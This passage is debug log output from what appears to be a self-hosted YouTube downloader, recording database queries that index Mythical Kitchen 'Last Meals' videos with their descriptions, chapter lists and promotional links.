https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jason Kelce Eats His Last Meal", "6819760b-5282-402a-a258-a49576951cb9", "https://www.youtube.com/watch?v=c--KcqojdrU", false, "c--KcqojdrU", 2345, false, 24, "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", false, false, 1, [], 1, ~U[2023-04-25 10:00:20Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Jason Kelce's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jason Kelce Eats His Last Meal", "https://www.youtube.com/watch?v=c--KcqojdrU", "c--KcqojdrU", 2345, false, "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", false, 1, ~U[2023-04-25 10:00:20Z]] 20:49:32.261 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.262 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-15 11:01:40Z], 1] 20:49:32.262 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Vic Michaelis eats their last meal!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Vic's Last Meal\n0:15 Lying About High School Acting Experience\n2:10 Have You Thought About Your Last Meal Before?\n4:21 1st Course\n5:08 Caffeine Intake\n6:55 PRETZEL PIZZA\n8:36 Very Important People Is The Best\n11:36 Sharing Personal Tragedies\n16:49 2nd Course\n18:56 I Believe In People Who Believe In Signs\n19:49 Tae Kwon Do Patriotism\n21:13 Who Is The Real Vic Michaelis?\n22:35 Stargirl\n23:48 Family & The Gift Of Unbridled Confidence\n27:35 3rd Course\n27:49 Vic's First Job\n29:29 Rainforest Cafe Memories\n31:24 Empathy & Taking Action\n34:10 The Royce Dickman Anthology\n35:50 Treating Improv Academically\n37:55 Have Hobbies You Refuse To Monetize\n39:26 4th Course\n39:45 Spicy Chip Challenge\n42:49 Church & Religion\n44:35 What Do You Think Happens When You Die?\n45:30 What Do You Want To Be Known For?\n46:15 Lightning Round\n49:00 Vic's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Vic Michaelis Eats Their Last Meal", "d72b8155-509e-4d58-8ee5-48c2f3b71d32", "https://www.youtube.com/watch?v=spwFlJDlK1M", false, "spwFlJDlK1M", 3083, false, 25, "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", false, false, 1, [], 1, ~U[2026-01-15 11:01:40Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Vic Michaelis eats their last meal!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Vic's Last Meal\n0:15 Lying About High School Acting Experience\n2:10 Have You Thought About Your Last Meal Before?\n4:21 1st Course\n5:08 Caffeine Intake\n6:55 PRETZEL PIZZA\n8:36 Very Important People Is The Best\n11:36 Sharing Personal Tragedies\n16:49 2nd Course\n18:56 I Believe In People Who Believe In Signs\n19:49 Tae Kwon Do Patriotism\n21:13 Who Is The Real Vic Michaelis?\n22:35 Stargirl\n23:48 Family & The Gift Of Unbridled Confidence\n27:35 3rd Course\n27:49 Vic's First Job\n29:29 Rainforest Cafe Memories\n31:24 Empathy & Taking Action\n34:10 The Royce Dickman Anthology\n35:50 Treating Improv Academically\n37:55 Have Hobbies You Refuse To Monetize\n39:26 4th Course\n39:45 Spicy Chip Challenge\n42:49 Church & Religion\n44:35 What Do You Think Happens When You Die?\n45:30 What Do You Want To Be Known For?\n46:15 Lightning Round\n49:00 Vic's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Vic Michaelis Eats Their Last Meal", "https://www.youtube.com/watch?v=spwFlJDlK1M", "spwFlJDlK1M", 3083, false, "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", false, 1, ~U[2026-01 (truncated) 20:49:32.263 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.263 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-19 11:01:05Z], 1] 20:49:32.264 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Alan Tudyk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Alan's Last Meal\n0:59 Have You Thought About Your Last Meal Before?\n2:15 Alan's Funeral Playlist\n2:48 1st Course\n4:49 Alan's Nemesis, RON\n6:10 Trust Falls With A Murderer\n7:52 Getting Into Voice Acting\n9:12 A Dodgeball-Playing Pirate From Julliard\n10:49 2nd Course\n11:47 FIREFLY\n14:43 Going to Fan Conventions & Making Con Man\n16:03 Firefly's Unexpected Fan\n17:57 3rd Course\n19:13 Almost Dying & Meeting Robin Williams\n22:44 Spamelot Curtain Call\n24:23 Crying For Choreographers\n26:40 Alan & Charissa's Proposal Story\n28:16 Romance Under The Big Top\n29:58 4th Course\n30:29 James Gunn's Superman\n31:09 Heath Ledger's Kindness\n34:32 Mental Health Practice\n35:08 Playing A Racist Onscreen\n36:30 A Spectacular Death\n37:19 What Do You Think Happens When You Die?\n37:53 Lightning Round\n39:42 Alan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Alan Tudyk Eats His Last Meal", "8bbb83c8-222a-4ceb-b2de-3ef2497a3eec", "https://www.youtube.com/watch?v=sM0pzP4280U", false, "sM0pzP4280U", 2512, false, 26, "/downloads/Last Meals/2024-11-19 Alan Tudyk Eats His Last Meal/Alan Tudyk Eats His Last Meal [sM0pzP4280U].mp4", false, false, 1, [], 1, ~U[2024-11-19 11:01:05Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Alan Tudyk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Alan's Last Meal\n0:59 Have You Thought About Your Last Meal Before?\n2:15 Alan's Funeral Playlist\n2:48 1st Course\n4:49 Alan's Nemesis, RON\n6:10 Trust Falls With A Murderer\n7:52 Getting Into Voice Acting\n9:12 A Dodgeball-Playing Pirate From Julliard\n10:49 2nd Course\n11:47 FIREFLY\n14:43 Going to Fan Conventions & Making Con Man\n16:03 Firefly's Unexpected Fan\n17:57 3rd Course\n19:13 Almost Dying & Meeting Robin Williams\n22:44 Spamelot Curtain Call\n24:23 Crying For Choreographers\n26:40 Alan & Charissa's Proposal Story\n28:16 Romance Under The Big Top\n29:58 4th Course\n30:29 James Gunn's Superman\n31:09 Heath Ledger's Kindness\n34:32 Mental Health Practice\n35:08 Playing A Racist Onscreen\n36:30 A Spectacular Death\n37:19 What Do You Think Happens When You Die?\n37:53 Lightning Round\n39:42 Alan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Lo (truncated) 20:49:32.264 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.264 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-23 10:00:51Z], 1] 20:49:32.265 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ken Jeong eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ken's Last Meal\n0:22 You Can't Do Math With A Groin Injury\n1:26 Have You Thought About You Last Meal Before?\n2:05 How Often Do You Think About Death?\n2:55 1st Course\n6:38 Addressing The Rumors\n7:25 Doing Open Mics During Med School\n8:49 LARP Research For Role Models\n12:01 Hosting 99 to Beat\n13:13 UGH Joel McHale\n13:54 2nd Course\n16:39 Crazy Nights In Koreatown\n17:58 Rise Of Korean Culture\n19:04 Find Art In Whatever You're Doing\n21:37 The Soul Of A Comedian\n23:57 3rd Course\n25:27 The Hangover & Vietnamese Inside Jokes\n29:13 Advice For People Going Through Cancer\n32:17 4th Course\n32:55 Love For Comedy\n34:45 The Key To Life\n35:27 Is Laughter The Best Medicine?\n38:29 Lightning Round\n41:24 Ken's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ken Jeong Eats His Last Meal", "d1d584e8-e0bc-410f-985b-7bc940a1dd4b", "https://www.youtube.com/watch?v=VTMUWlrv8vg", false, "VTMUWlrv8vg", 2547, false, 27, "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", false, false, 1, [], 1, ~U[2025-09-23 10:00:51Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ken Jeong eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ken's Last Meal\n0:22 You Can't Do Math With A Groin Injury\n1:26 Have You Thought About You Last Meal Before?\n2:05 How Often Do You Think About Death?\n2:55 1st Course\n6:38 Addressing The Rumors\n7:25 Doing Open Mics During Med School\n8:49 LARP Research For Role Models\n12:01 Hosting 99 to Beat\n13:13 UGH Joel McHale\n13:54 2nd Course\n16:39 Crazy Nights In Koreatown\n17:58 Rise Of Korean Culture\n19:04 Find Art In Whatever You're Doing\n21:37 The Soul Of A Comedian\n23:57 3rd Course\n25:27 The Hangover & Vietnamese Inside Jokes\n29:13 Advice For People Going Through Cancer\n32:17 4th Course\n32:55 Love For Comedy\n34:45 The Key To Life\n35:27 Is Laughter The Best Medicine?\n38:29 Lightning Round\n41:24 Ken's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: 